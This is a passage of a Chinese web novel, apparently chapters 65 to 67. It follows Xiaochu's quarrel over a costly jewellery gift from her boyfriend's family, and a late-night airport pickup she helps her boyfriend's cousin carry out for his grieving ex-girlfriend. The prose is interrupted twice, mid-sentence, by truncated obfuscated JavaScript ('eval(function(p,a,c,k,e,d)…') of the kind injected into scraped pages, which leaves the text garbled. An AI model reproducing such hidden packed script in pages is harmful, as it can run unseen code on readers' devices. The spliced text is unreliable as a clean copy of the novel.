“OK,我们马上就过去。”也不知电话那边的人说的是一件什么事,萧文然的神情越来越凝重,挂掉电话,她先是歉然地看了小初一眼,“不好意思啊小初,叔叔阿姨今天没办法陪你了。” 又嘱咐余萧弋,“Theo,帮我照顾好小初,别玩得太晚,早点开车送她回去,免得你方叔叔和亦玫阿姨担心。” 余萧弋应声,小初却红了脸。 余韬韬问:“到底怎么了?” 萧文然一边吩咐管家叫司机备车,一边答道:“Jeo没喝酒,却不知在哪里弄了一身伤回来,问又问不出什么,只说不小心摔了一跤,老爷子和老太太有点担心,叫我们过去一趟。” 余萧弋问:“堂哥人没事吧?” “听说是没事,但他这个状态有点让人担心,今天的事估计对他打击挺大的,我和爸爸得去看看。” “好。” 他们的谈话传入耳朵,小初的身形不受控制地晃了一下,脑子里都是那晚余珺彦衬衫染血的模样,她但愿他今晚没有二次撕裂手臂上的伤口。 正出着神,却不知萧文然从哪里拿出个首饰盒子来,蓦地塞到她手中:“小方太初,这是阿姨送你的礼物,你戴着玩好了,也不知道你喜不喜欢。” 小初被盒子上B开头的字母吓得几乎跳起来,立刻推脱:“不不不,阿姨,我不能收!这,这太贵重了,我心理压力会太大!我不想我和Theo之间掺杂一些太复杂的东西,请您一定要理解!” “这哪里贵重了?”萧文然笑,“我给你的礼物,和Theo无关,你不用有压力,纯粹是因为我和余叔叔打心底就喜欢你。” “不行不行!”小初快哭了,“您要是这样,我下次再也不来了!” 一听她说这句话,余萧弋先不乐意了,“方小姐,我请你想好了再说话。”又自顾自帮她把首饰盒接了过来,朝她眨眨眼,“给你就拿着,跟他们客气什么,要是不喜欢这个款式,回头我们卖了换钱。” “……”小初无语至极,他到底什么居心,是不是想他父母误会她爱慕虚荣还贪财好色啊! 余韬韬也说:“快拿着!小方太初,你小时候叔叔见你第一眼,就做你要是我女儿该有多好的梦了,眼见着现在梦已经实现一半了,你就不能让我高兴一下吗?你要是再拒绝,我会伤心的!” 余萧泽凑上前来,撇撇嘴,“姐姐,别理他们这群俗人,我们去唱歌。” 管家说车已备好。 萧文然很快就和余韬韬出了门。 小初要疯了,没好气指了指余萧弋,“你凭什么替我做决定啊!” 余萧弋却神色认真看向她,“怎么,方太初,你是在担心你有天和我分手,还要处理这些琐碎的麻烦事吗?” “你不要把很多东西混淆在一起可以吗?”小初尽量保持着冷静,“我们就事论事好吗?不要发散思维,不要把一些未知的,还没有发生的事情拿到这个时间节点来跟我吵。我不想你我之间太复杂,这有问题吗?你别忘了,我们也才认识不到三个月,你不觉得一切已经太快了吗?” 余萧弋自嘲一笑,“所以,你害怕了,是吗?” “我没有!” “但是你错了,我们早已认识超过十五年,如果把时间轴拉长到这个程度,或者更往前,从我们还没有出生,我们的父母就已经是朋友的那个时间节点开始算,你还觉得一切太快吗?” 小初愣住。 “所以你觉得人和人之间的一些感觉和碰撞是和时间长短有关系的是吗?有天你会因为你认识另一个人的时间比我长而在某件事上天然选他不选我是吗?” 他是不是在偷换什么概念?他们说的是一个事吗? 余萧泽插话进来,“大哥你能不能不要跟她吵架?” 余萧弋眼神锐利地看他一眼:“我们之间的事,关你什么事?” 他们这样,余萧盈也有点慌,过来拉了拉小初的袖子,语气里都是祈求:“大嫂你生气了吗?我妈妈没有别的意思的,她只是在表达她很喜欢你。” 小初深呼吸,安抚地摸了摸她的头发,“没有生气,姐姐是开心的。” 然后才看向余萧弋,“我们都小点声说话,别吓到妹妹。” “我声音挺小的。”余萧弋打开首饰盒,笑了一下,“看看,喜欢吗?” 小初视线扫过去,里面流光溢彩的粉色扇形项链和耳饰即刻映入眼帘。 因为黄亦玫的缘故,她对各品牌的珠宝还算有一点了解,萧文然送她的这份礼物,就算已经在尽量不给她压力,价值也绝不会低于五十万。 五十万,再加上之前他们定情的那副月亮耳饰,等于还没怎么样,她就已经收了他们家一百多万的礼物了,这算什么事啊? 谁家的钱也不是大风刮来的,他们这样,真的很影响她只想简简单单谈个恋爱的心情,余萧弋怎么就不能懂? “喜欢肯定是喜欢的啊,文然阿姨的眼光那么好。”小初有些无奈,“我只是觉得太贵重了。” “有什么贵重的,又不是什么顶级珠宝,我还觉得配你有点勉强呢。”余萧弋向前一步,帮她把项链的搭扣在颈后扣好,又将耳饰轻轻穿过她的耳洞。 金属的触感微凉而他的呼吸灼热,冷热交替中,她不自觉颤了颤,再抬眸,他已转到她面前,正神色认真地看着她。 视线碰撞的瞬间,两人就一齐勾了勾唇,都觉得自己刚刚的情绪有些莫名。 “很漂亮,很衬你。” 小初似嗔似怨地看了他一眼,没应声。 很奇怪,只要看见他的脸,就半点不想跟他吵架了。 不仅不想吵,甚至有点想亲。 余萧泽酸酸地扯了扯她的衣袖,“姐姐,还要不要听我唱歌了?我可以弹吉他给你听。” “好啊。”小初看了眼余萧弋,“要一起吗?” “好啊。” 余萧盈目瞪口呆,“哥,你真是好命遇见大嫂,这个态度讲话还能把她情绪抚平,我就没见过现在还有几个女孩子是这么大度体贴了,你珍惜吧。” “写你的作业去吧。” 余萧弋将小初搂在臂弯,紧了紧。 几人一块下了楼。 影音室里的光线很暗,很多回忆像洪水,将小初席卷其中,不上不下地冲击着又折磨着她。 余萧泽开始弹吉他,密闭的空间中,每个音都混着回声,格外流畅动听。 这小子在音乐上似乎还真有点天赋。 听了一会儿,小初才勾了勾余萧弋的手指,小声问他,“今天都做什么了,累不累?” “有点累。”余萧弋调出手机里余氏集团主页的动态新闻,点给她看:“公司不定期都会和一些慈善基金会合作一些公益项目,算是维护企业形象和承担社会责任吧。今天去的是一家位于渔村里的养老院,讲真,那些老人好可怜,每天做的最多的事,就是看着大海发呆。人老了物质需求其实已经不高了,最主要还是寂寞。” 小初想起姥姥姥爷还有远在东北独自生活的奶奶,心脏微抽,看着画面里和其他员工穿着一样黑色T恤给老人们献爱心的余萧弋,又有些感动,“小余同学辛苦了。” “他辛苦什么呀!”余萧泽停下指尖拨动琴弦的动作,“这些都是作秀的好不好,就等着哪天公司有负面新闻拿出来挡悠悠众口呢,出发点都是维护股价,你别把资本家想得太温情好不好?” 余萧弋蹙了蹙眉。 小初瞪他:“余萧泽,我见你跟哥哥没大没小也不是一次两次了,我可以当你年纪小不懂事,但下次再让我听见一次,你试试看。” 影音室里的三个姓余的都瞪大眼睛看向了她,似是全然没有料到她会这么说。 “资本家这么无耻,你为什么花资本家的钱?吃了饭就摔碗,众人皆醉你独醒是吗?现在有人替你承担责任撑着事,你倒要笑他作秀?要么换你出去跑前跑后干体力活,他在家替你做数学题?刚好你志不在此,而他连补课费都可以帮家里省了。” 空气里是一阵死一样的静默。 半晌,余萧泽才喃喃开口,声音颤抖,“姐姐,连你也偏心,觉得我一无是处,是吗?” “我没有偏心。”小初声音淡然,“但你到底是怀才不遇还是真的一无是处,都跟哥哥没关系吧?你是你,他是他,就算他是太阳,也不影响你成为另一颗耀眼的恒星吧?你总跟他较什么劲?他是我的人,你对我的人出言不逊,我还要开心地维护你吗?” 余萧弋抿抿唇,将她的手握在了手心。 余萧盈朝小初竖了竖大拇指:“大嫂,你太帅了。” 余萧泽则收起吉他,自嘲一笑,“原来我就是个小丑。” 说完,就大踏步上楼去了。 余萧盈一看,也识相地退了出去,并贴心帮他们掩好了门。 很快,影音室里就剩下了他们两个人。 余萧弋眼睛有点湿,但还好,昏暗的光线下,她什么都看不见。 “方小姐,这么心疼你男朋友呀。”他故作轻松地开着玩笑。 “废话。” “为什么呀?” “我觉得你爸妈有点问题,他们就不该非逼着仔仔搞文化课。导致他越来越逆反,就把情绪发泄到你身上,认为是你的优秀影响了你爸妈对他的判断,才导致了一切。” 余萧弋漫不经心绕着她的发梢,“青春期的孩子都那样。” “还什么青春期,他都快成年了,我像他这么大的时候,都上了两年大学了,我身边接触的同学大多都比我大几岁,我也没有要求人家按照我的心智同步发展。” 余萧弋笑出声,“又有几个人像你这么聪明?” 她捧住他的脸,问道:“有兄弟姐妹有时候是不是也挺累的?” “那你呢,独生子女有时候是不是也很寂寞?” 小初摇头,“我才不寂寞,我要忙的事可多了,真寂寞了,我还可以跟家里的鱼吵架。” 这个样子的她实在可爱,余萧弋一个没忍住,就用自己的唇贴上了她的。 小初猝不及防,直至被他用舌尖撬开唇瓣还有点懵,下意识别过头去,“话还没说完呢,亲什么?” “你还说?”余萧弋的声音逐渐沉下来,将她的头摆正,“那个曹旸整天跟在你身边,跟个探照灯似的,我们都多久没……” 他话都没说完,就闭上了眼睛,将所有感观都集中在了这个吻上。 亲了一会儿,小初想起什么,“我觉得仔仔真不是读书的料,你有空劝劝你爸妈吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余珺彦笑容迷离,“但你也说了,有事可以打给你的,我现在就有事,又没你电话,就只能找上门来了。” “……”小初平稳了一下呼吸,“你有什么事。” “伤后抑郁,急需心理疏导。” “文然阿姨和韬韬叔叔不是去看你了吗?你有什么不开心就跟他们说呗!就算不想跟他们说,你身边就没有其他活人了吗?我看那天你那个讨人厌的朋友对你就不错,你跟他倾诉,他肯定能跟你感同身受,并用尽一切力气安慰好你。” 小初话音一落,曹旸的嘴角就抽了抽。 余珺彦的神色也变得有些古怪,“方小姐,我现在有点担心,你会不会把Theo给带坏了。” 小初不明白他为什么会说出这句话,“我带坏他?”想起他对她的步步引诱,她轻咳一声,“他不带坏我就不错了。” “哦?他又是怎么带坏你的?” “少废话,找我到底什么事。” 余珺彦静了静,才说,“陪我去趟机场,接一个人。” 小初愣住,有些模糊的念头正在成型。 “接谁?” “你先别管,我今天这状态实在开不了车,只能麻烦你。” 小初有些无语,“你们余家没有司机吗?” 余珺彦笑,“你想我手臂受伤的事情被他们知道吗?” 果然还是讹上她了。 小初撇撇嘴,“是你不想他们知道你今晚接的人是谁吧?所以你是偷跑出来的?他们竟然都没发觉?你怎么做到的?家里佣人有你的人?” 借着夜色遮掩,余珺彦落在小初脸上的目光沉静而肆意,半晌,他才缓缓说道:“方小姐你好聪明,怎么办,我突然有点不想Theo拥有你了。” 他这句话太认真,小初蓦地心弦一紧,视线直直撞进他眼底,并很快陷入里面一片危险漩涡。 Wendy的话突然在耳边响起——余大公子根本没听你说话,他已经沉迷于你的美貌不可自拔了。 “余珺彦,你是有未婚妻的人。” 他笑:“那又怎样?” “你心里还住着个前女友。” 他一怔,笑得更戏谑,“你怎么知道?” “我就是知道。”小初直直注视着他,“所以她几点到?” “还有两个小时,美国飞回来的航班。” 小初微不可察地挑了挑眉,她本想试试他,没想到,他竟然就认了。传媒上现在铺天盖地都是郭永仁跳楼身亡的消息,想必机场已经密不透风都是蹲守的记者,郭大小姐想神不知鬼不觉越过层层阻拦顺利返家,恐怕有点难。 只是有一点小初不太明白,“她爸几个小时之前才跳的楼,她怎么这么快就抵港了?” 余珺彦这才收起那张演技很浮夸的无形面具,露出痛苦神色,“你不懂,血亲之间有时候是有心灵感应的。 顿了顿,他又加了句,“我也但愿你永远不会懂。方小姐,你是我认识的为数不多让我感受到有真正被好好爱着的人了,我比你,还不希望绕在你身上的那些爱的光环一层层消失,因为,这才是你最特别,也最动人的地方。” 小初的心猛地一沉。 不知怎么,明明是一句关心和祝福的话,可从此刻的他嘴里说出来,却更像是诅咒,仿佛,从这一刻开始,她就要被命运之神捉住,强迫她细数过往,将所有她曾比别人多得的馈赠交出来了。 “别往我身上引申。”她摆摆手,“我也有我的遗憾和不圆满,只是我很少怨天尤人罢了。” 余珺彦低头注视她片刻,正在渗血的伤口突然刺痛,他皱了皱眉。 “余珺彦,你把你看成这世界的衍生品你当然无可避免会痛苦,但你要是把你看成你自己,你会感谢全世界的。你那天跟我说你是一个没资格提要求的人,本质上,难道不是你太在意太讨好,不想被摆布又放不下才导致的一切吗?” 余珺彦抿抿唇,“方小姐,你真的二十岁吗?” “当然不是,我早活了一千岁了。”小初笑着站起身,“并且我还想活一千岁呢,你不觉得,活着才最有意思吗?” “是吗?” “不是吗?” 66.第 66 章 余珺彦指了指自己的右腿,“我这条腿都快没知觉了,刚刚能一路把车子开到这里,已经算人类奇迹了。” 小初好整以暇的,“所以你到底怎么受的伤?” “伤后抑郁,神情恍惚,走过街天桥的时候一脚踩空,从楼梯上摔下去了。所以,你得对我负责,我说的是接下来你都得帮我跑腿充当秘书和保镖。” “……”小初咬牙,“怎么没摔死你?” 余珺彦笑,“方小姐,你们北方人说话是不是都这么直接?” “分对谁,朋友来了有烈酒,敌人来了嘛……” “你终于承认我们立场对立了是吧?所以,是不是只要你不再是Theo的女朋友,我们就可以成为朋友了?” 小初眯了眯眸子,好像终于有点明白他在想什么了,“所以,你嫉妒他,只要是他的你都想抢。” 余珺彦坦诚,“这确实是我的心结之一,你知道的,从小到大,我爸都是一个不负责任的人,除了生了我把我丢给爷爷奶奶之外,几乎对我不闻不问。Theo出生前,六年的时间,家里就只有我一个孩子,但姑姑叔叔们都很少哄我,抱我。大姑姑那时候说,看见我这双蓝色眼睛就害怕,觉得我像一种养不熟的猫。后来她自己却嫁了鬼佬,也生了两只蓝眼睛的猫,IG上全是他们的照片。” 小初没想到自己会听到这些,连表情都凝结在了脸上。 她微微侧头看了眼曹旸,发现她也有点发怔。 “后来Theo出生了,姑姑们突然就又喜欢小朋友了,尤其小姑姑,到现在仍恨不得他是她的儿子呢。你说我嫉妒他,厌恶他,我过分吗?” 如果是这样,好像,也没有很过分…… 小初静了半晌,才说:“但这一切又不是他的错。” “你说得对。”余珺彦浅笑,“所以我对另外那帮姓余的,是恨。” 小初张了张嘴,试图找到一些有人爱他的证据,“那你爷爷奶奶,文然阿姨和韬韬叔叔对你还是不错的吧?” “嗯,他们这会儿正在讨论如果我被舆论攻击了,要怎么维护余家的声誉呢。” 小初不说话了,因为她发现再说下去她很可能就要被他说服了。 那或许将是对余萧弋的某种背叛。 小初不想和他有肢体接触,“曹旸姐,你帮我把他扶起来吧。” 曹旸照做。 然后她看了眼腕间的卡通手表,“我想我们得出发了,郭大小姐的航班快抵达了。” 余珺彦就着曹旸的手站了起来,走路一瘸一拐的,但看上去却很高兴,“你怎么突然又想帮忙了?” 小初直言,“因为我信了你的鬼话,改天发现你骗我利用我,我一定追杀你到天涯海角。” “好极了。”余珺彦笑,“那这就是我们之间的约定了,开谁的车?” “开你的。”小初毫不犹豫。 被记者拍到他的车子去接郭大小姐,他还能在舆论里为自己博个重情重义的美名,要是她的车子被记者拍到,她都不敢想第二天的头条新闻会有多精彩。 作为余萧弋的女朋友,她不仅大半夜私会余珺彦,还和他一块瞒着杨敏之,去机场帮他接回了他回国奔丧的白月光和朱砂痣。 她原来只知道豪门很乱,却从不知,她也有这么多参与搞乱的重要戏份。 她也没想通自己到底为什么会趟这趟浑水,或许是余珺彦流血的手臂和受伤的腿激起了她的同情心,也或许是他讲故事时落寞又故作不以为然的表情太有感染力,总之直至车子开过半程,她仍在一种连她都有点理解不了的情绪中沉浮着。 “郭小姐是个什么样的人?” “一个聪明理智的美丽女人,比我大两岁。她爸开口请求余家救市被拒的事被她知道后,她在美国甩了我,害我不吃不喝躺在空无一人的公寓里整整三天三夜,差点因为失恋病死了。” 余珺彦的语气漫不经心的,甚至还有点戏谑,像是在讲别人的故事。 可小初却听得目瞪口呆,“听起来你还爱她。” “小姐,我和她在一块快六年了,你把你和Theo的故事拉长到我们的长度,再仔细想想你那个时候会有多爱,都是人,是说不爱就不爱的吗?不过,现在说这些还有什么意义,她爸死了,我们这辈子不会再有机会了。” 车里的空气骤然陷入安静。小初的视线落在余珺彦眼睛上,她深深凝视着他。 然后她才发现,他的眼睛果然是蓝色的,不过没有纯种的外国人那么蓝,这么一点东方的深邃,却给他增加了很多的神秘感,以至于她怎么都看不透,他的话到底几分真,几分假。 “你要这么说的话,我觉得我们现在就可以调头回去了,她现在应该最不想见到的就是你,又怎么会跟你走?” 余珺彦安静看了看窗外,声音淡的像是从远山那边飘过来的,“不,她会的,因为今晚整个香港,来接她的人唯一还带着几分真心的,就只有我了,她知道。” 小初思索了一下,“余珺彦,要是一会儿她从机场大厅里走出来,外面都是你安排的记者的闪光灯,我会看不起你的。” 余珺彦笑,又遗憾地拍了拍手,“多么好的一个操纵舆论扭转我形象的机会,我怎么没想到?” 曹旸泊好车,提醒道:“小姐,到了。” 小初拉起卫衣的拉链,从包里拿出一个口罩递给余珺彦,声音冷冷,“我再信一次你的鬼话。一会儿哪个记者要有本事把咱们三个拍进同一张照片,估计就能提前领年终奖了,突然还挺期待的。” 她如此认真,余珺彦却直接笑出声,“方太初,你有时候真的挺可爱的,难怪Theo那么紧张,把每个靠近你的人都看成情敌。” “我当然可爱了。”小初瞥他一眼,“把口罩戴好一点,你的腿还能走路吧?” 余珺彦将口罩挂绳挂到耳朵上,只露出一双深邃而立体的眼睛。 “这样好,待会郭小姐的巴掌抽过来的时候口罩还能帮你挡一挡。” 余珺彦被逗笑。 “还有我其实有点想知道,你愿意拿你的爱情出来跟我赌的原因是什么。万一真被记者拍到,你不怕Theo发疯?他向来和我不对付,要是知道你和我混到了一块,这事情可就有意思了。” 小初摆手,“第一我没和你混到一块。第二Theo从来不讨厌你,你别到处树假想敌,第三我没有拿我的爱情出来赌,就算被拍到,他也会理解我,哪怕是一边发疯一边理解。最后,这些都不是我出来帮你做这件事的真正理由。” 小初推开车门,叮嘱曹旸,“一会儿见机行事。” 曹旸点头。 戴上黑色口罩的她,冷峻又利落,果然如林佳宜所说,足够帅过这街上99.8%的男人。 余珺彦也跟着推门下了车,时间还早他也没有太着急,“所以你真正的理由是什么?” 小初将头发扎成高马尾,萧文然送的十几万的耳饰在停车场的冷光下闪着璀璨的粉,衬得她白皙娇艳,少女感十足。 她不想自己目标太明显,于是动手将耳饰摘下来,放进了外套口袋。 “他们都说余家上下都重利且滥情,没一个好东西,我不信。” 余珺彦沉默了一会儿,才嘲讽地笑了笑,“那你可能要失望了。” “等失望了再说。”小初戴好口罩。 几人向接机大厅走去。 远远的,就看见一群扛着长枪短跑的媒体记者蹲守在出口处。 小初也想不通这些人怎么个个这么神通广大,都能拿到郭大小姐返港的信息。 但转念一想连余珺彦这个前男友都能拿到的东西,对于这些专业人士又能算得上什么秘密? 小初小声,“他们围得这么紧,有点难办。” “我们分开走。”余珺彦交代,“你们接到她就先走,不用管我。羡如自小生活在国外,从没在国内媒体上出现过,他们只有照片,都不认识她人,我会站在那里直到最后一个旅客离开,吸引视线。” 小初无语,“大哥,难道记者不认识我就认识吗?” “她很好认,这个季节,一定是卡其色风衣配白T和牛仔裤,长发,黑色墨镜,黑色双肩包,还有一只用了很多年的米白色行李箱,二十二寸,上面贴满熊猫贴纸。” 余珺彦的眼底滑过一丝淡淡的温柔,最后交代,“你们回程把车停在刚刚中途路过的那个加油站,我会去那里和你们汇合。” 小初越听越觉得荒诞,这怎么跟拍电影似的? “你确定你不会猜错她的穿着?” “不会。” “可她又为什么一定会跟我走?” “你就说,你是Jeo的朋友。” 余珺彦说完这句就大踏步往人群最拥挤的地方走去,且一边走,一边将口罩摘掉揣进了外套口袋里。从背后看过去,他的腿已经没什么异样,受伤的那只手臂却始终僵直地贴在身侧,没有任何摆动。 小初和曹旸对视了一眼,也朝接机口走去,只是刻意和他隔开了一段距离。 似是压根儿就没想到他会来,那群人一开始谁也没认出他来,直至其中某个采访过他的记者和他目光对上,人群才开始骚动。 好多人都围了上去,争先恐后问着自己关心的问题,闪光灯闪得人眼睛疼。余珺彦站在中央,神情凝重,从始至终沉默着。 整个机场忽然就变成了令人心生恐惧的空茫大海,而他则变成了那条最绝望的孤舟,不停被推上风口浪尖又重重从上面跌下来,随时都有倾覆的危险。 小初的粤语水平还不足够她听懂那些人在问他什么,但答案也不难猜。 最后肯定所有当事人都不能幸免,也没资格幸免。 闸机里终于有旅客开始陆续往外走。 人群开始攒动,记者们不认识郭羡如,便一直盯着余珺彦的表情,但他的表情又实在无懈可击,有人想出奇招,干脆对着里面喊着,“郭小姐,余先生在这里!” 小初和曹旸紧紧盯着从里面走出来的人,生怕错过任何一张可疑的面孔,但人都快走了一半了,她们也没看见那抹穿卡其色风衣拖旧行李箱的身影。 “你说,他是不是猜错了?”小初跟曹旸嘟囔。 曹旸给她吃定心丸,“不会,他应该还是了解她的。” 小初又远远看了余珺彦一眼,也没发现什么有用的线索。 “小姐,你看这个是不是。” 小初顺着曹旸的目光看过去,一个短发,素颜,身材高挑,但既没有背黑色背包,也没有戴黑色墨镜,更没有穿卡其色风衣的女人正从里面大踏步走出来。 她的神情很淡定,脸上几乎没有任何和父亲去世有关的悲伤,更没有往余珺彦的方向看一眼,尽管,那边好多人在喊郭羡如的名字,甚至还有人举着写着她名字的接机牌。 余珺彦也没有看她,仍旧往闸口更深处张望着。 “这肯定不是吧?你看看她这有一条对上的了吗……”她甚至连头发都是短的好不好。 “对上了一条,你看她的帆布包。”曹旸提醒。 小初这才看见她帆布包上印的大大的熊猫。 “可……” “最重要的是,她完全没有往Jeo的方向看哪怕一眼,而其他所有出来的人,都有。如果是你,作为一个完全与此事无关的人,你不好奇吗?” “有道理。”小初佩服地给曹旸竖了个大拇指,可那女人已经离开闸口很远了,她们赶紧追了过去。 “你好。”趁周围没人,小初才敢开口,“我们是Jeo的朋友。” 女人像没听见一样,仍然目不斜视向前大步走着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又过了一会儿,她才问,“所以,他现在还在机场等着最后一个旅客出来吗?” “应该是。” “这又是何必。”郭羡如抹了抹眼角,“你看他要是不来,我现在已经回去了。” 小初愣了愣,是啊,他们好像完全多此一举。 根本没有人认识郭小姐,她大可以自如应付一切。 可他还是来了,像是某种自罚。 “或许是关心则乱吧,他想你回来就看见他,他想陪着你。” 郭羡如轻笑一声,“是他们家人的行事风格,永远只想着自己的需求,从不知给别人留喘息空间。” 小初震惊地看向她,什么东西浮上水面,又落下去,她想抓住,却还是让它飘远了。 郭羡如自嘲,“他已经快要订婚了。我父亲尸骨未寒,我的名字却要跟一个男人挂在绯闻上,简直荒谬。” 小初抿抿唇,“可即便他不来,传媒也还是会乱写。现在他把火力都吸引到了自己身上,或许记者对你父亲,笔力就会温和很多。” 郭羡如愣了愣,没再说话。 她们在车内等了足足四十分钟,才等到余珺彦。 等到小初都快睡着了。 期间余萧弋发了好多条消息过来,问她睡了吗,明天早餐想吃什么,他从家里给她带过去。 她一条都没回,只当自己真的睡着了。 然后他又发了张照片过来,正是他们小时候第一次见面时拍的那张。 【这个是电子版,是不是清晰多了?】 【我问了我妈,这是在上海的饭店里拍的。】 【原来上海才是我们初遇的地方,下次要不要一块去玩几天?】 【好吧,看起来你已经睡了,那晚安。】 【love u.】 小初点击图片,选择了保存,并把它设置成了手机壁纸和屏保。 那天她跟他开玩笑的,小时候的他和现在的他都好看,不一样的好看。 余珺彦一打开车门,小初就被他衣服上的血迹吓着了。 “怎么了这是,更严重了?” 小初跳下车,把后排的位置让给他和郭小姐。 郭羡如闻言也探寻地递了个眼神过去,没看他的眼睛,却独独在他脸上的伤口上停了两秒,等视线落在他手臂上,她眼睛已经红了,“发生什么事?你被人怎么了?” “没事。”余珺彦小心翼翼坐进去,“一点小意外。” 小初坐进副驾驶,示意曹旸开车。 余珺彦说:“按我导航开就好。” 郭羡如说:“先去医院。” “没关系不用。” “我说了,先去医院!或者,你把我放下,我自己回去,你赶紧去把伤口处理一下!”郭羡如的声音已经哽咽,“Jeo请你珍惜你自己,这是你之前答应我的。” “我没答应。”余珺彦伸手,将她抱入怀中,“伯父的事对不起,是我没能力保护你,保护你们。” 郭羡如泣不成声,“不关你事。” “是我的错,你等我,处理好这边的事情,我就回美国找你,然后,我们就结婚。” “结婚?”郭羡如倏地抬起头,不可置信地看向他,“可我,我们家,还有你……” “对,结婚。我只要你,其他的,都不再重要了。阿羡,这段时间我已经想好了,我只爱你,也只要你,没有你,我活着也没什么意思了。” 小初的眼睫一颤,恨不能自己现在是在车底,而不是在车里。 这余珺彦,竟然内里是这种人设吗? 她表示她很意外,非常意外。 67.第 67 章 余珺彦后来并没有去医院处理伤口,而是陪郭羡如直接去了殡仪馆。不过这些消息小初也是第二天早晨从新闻上得知的。 昨晚她实在太困,在车里就睡着了,连八卦都只听了半场。 到了家楼下,她迷迷糊糊下了车,一时没都没反应过来自己身在何方。 余珺彦走向驾驶位,可能出于礼貌,特地为她停了停脚步,“谢谢你啊方太初。” 后半夜起了风,两人之间大概隔着两米,半梦半醒的小初一时没听清他在说什么,只能向前几步贴近他,然后才明白他只是跟她说句谢谢而已。 “废话真多。”小初没好气地挥了挥手,“快走快走,以后别再来麻烦我。” 余珺彦和衬衫的袖扣叫着劲,并没有看她,“那还真不好讲。” 小初不理他,转而看向后排降下车窗正和她点头告别的郭羡如,“Ruby姐姐,人死不能复生,请你一定看开点,首先照顾好自己。” 郭羡如哽住声音,一个字都说不出来了,只一边用手背抵住嘴唇,一边和她摆了摆手。 小初都准备上楼了,却发现余珺彦仍在那摆弄他的破衬衫,不禁有点无语,问他:“大哥,你干嘛呢?” 余珺彦抿抿唇,“衬衫好像黏在伤口上了。” “怎么会?”小初凑近他,“里面不应该还有一层无菌纱布吗?” “本来是有的,但后来血太多被我扯掉了。” “你神经啊。”小初不想他在这浪费时间,直接上手帮他解开袖扣,并小心地将那截已经不成样子的袖子卷上去,很快底下那个爬满歪歪扭扭手术线的狰狞伤口就映入了她眼帘。 长了二十岁,她还从没有见过如此令人不适的血腥画面,一时也有点难以接受,愧疚顺着血液很快蔓延到了全身。 “这样不行,不然你还是先去趟医院吧。”小初紧紧蹙着眉。 “现在已经止血了,应该没关系,羡如已经为我耽误很长时间了,不能再耽误下去了。” “还是得稍微包扎一下。”小初抿抿唇,抬头和他对视的瞬间,心底已经有了主意,下一秒,他颈间松散的领带已经被她扯了下来。 余珺彦猝不及防,身体向前一倾,两人的额头就剧烈地撞在了一起,痛得小初差点没把他推到一旁的树丛里去。 “大哥!你到底能不能有点用啊!” 余珺彦也被撞得眼冒金星,“怪我?你倒是提前说一声啊!” 小初不理他,只是动作利落地将领带缠到了他的伤口上,“待会还是要去医院处理一下,别感染了。” “知道了。” 余珺彦丢下这一句就大踏步朝驾驶室去了,没过半分钟,车子就绝尘而去,消失在了夜色里。 小初一整晚都睡得很沉,直至余萧弋的电话进来,说他二十分钟后会在楼下接她一块去上学。 然后港岛新闻头条就跳了进来。 余珺彦陪着郭羡如出现在殡仪馆的画面果然引起舆论一片哗然,配上昨晚在机场他落寞而深情地守候佳人的照片更是效果十足。 本来还在骂他无情无义、利字为先抛弃旧爱的网友们立刻转了口风,纷纷开始为他的深情唱起了赞歌。 很多人甚至开始怀疑,前面他答应和杨敏之联姻也不过是迫于压力不得已而为之,实际上,他心底唯一爱的,就只有那个曾在美国的小公寓里陪他度过漫长岁月的郭小姐。 郭永仁一死,郭家从此大概率就永无翻身之日了。 明明,他可以置身事外的,可偏偏,他非要让自己卷入漩涡中心,不惜以丧失继承权为代价,对抗着全世界,只为,给那个已经一无所有的女孩撑起一片没有雨的天空。 这如果不是真爱,那二十一世纪还有真爱吗? 小初关掉手机,脑子里开始回忆她昨晚听的上半场八卦,一边回忆,一边刷牙。 刷完牙,她才淡淡问曹旸,“曹旸姐,后来余珺彦和郭羡如还说什么了?” “什么都没说。”曹旸认真想了想,“郭小姐一直在哭,哭得还特别压抑,至于余先生,他始终沉默。” 小初没再说话,换好衣服下了楼。她没有那么多时间为别人的人生伤春悲秋,数学建模大赛已经进入倒计时,三人决定在赛前再完成一次连续三十六小时的封闭模拟找找状态。 待会吃了早餐,她和余萧弋就要去计算机系的机房和梁培风碰面了,期间完全与外界断联。 模拟结束后到正式比赛还会有一整天的时间,他们会全部用来睡觉,再之后,就是为期七十二小时的正式比赛了。 半小时后下楼,余萧弋果然已经在楼下等着她。 不知是不是前段时间盘旋在华北地区的寒潮终于翻山越岭来到了香港,今天的气温只有零上十三度。 突如其来的降温让很多人乱了阵脚,以至于放眼望去满大街都是皱巴巴的冬衣,显然都是临时被人从箱底里掏出来的。 余萧弋倒是一如既往打扮得很时髦,还隔着很远,小初就被穿着廓形羊毛大衣的他吸引了目光。 万幸,他拥有的是和他的年龄极为相符的审美,连一件简单的大衣,都被他穿得青春而鲜活,男友感十足。 一看见她的身影,他就跑了过来,提了提手里的早餐,“家里带来的,豆浆油条。” 小初伸手,帮他整理了一下被风吹乱的头发,突然觉得好笑:“你们家竟然也吃这个?” 他勾唇,“嗯,不可思议吧,我们家人也是人。” “你烦不烦啊。”小初被他逗笑,下一秒已经勾住他的手,“要不要干脆就把车停在这,我们走路去学校。” 余萧弋说好。 小初拧开保温杯的盖子,问他,“会烫吗?” “不会。”他笑,无意识地摇着她的手,“出门之前已经帮你尝过了。” 小初睨他,“你该不会就是用这个杯子尝的吧?” “怎样,你嫌弃我?” “有点嫌弃。”小初一边笑,一边大大喝了一口下去,下一秒,整个口腔就被一种微甜的豆香充斥了,她感叹,“工人姐姐手艺不错。” 余萧弋咬咬唇,“什么工人姐姐,我做的,按照上次在北京姥姥的配方,里面加了红枣。” 小初瞪大眼睛,“我说呢,味道怎么这么熟悉!”继而又有点感动,“用心了余师兄。” “还说,就为了做这个,我手指都被枣核刺了。”余萧弋故意做了个委屈的表情给她。 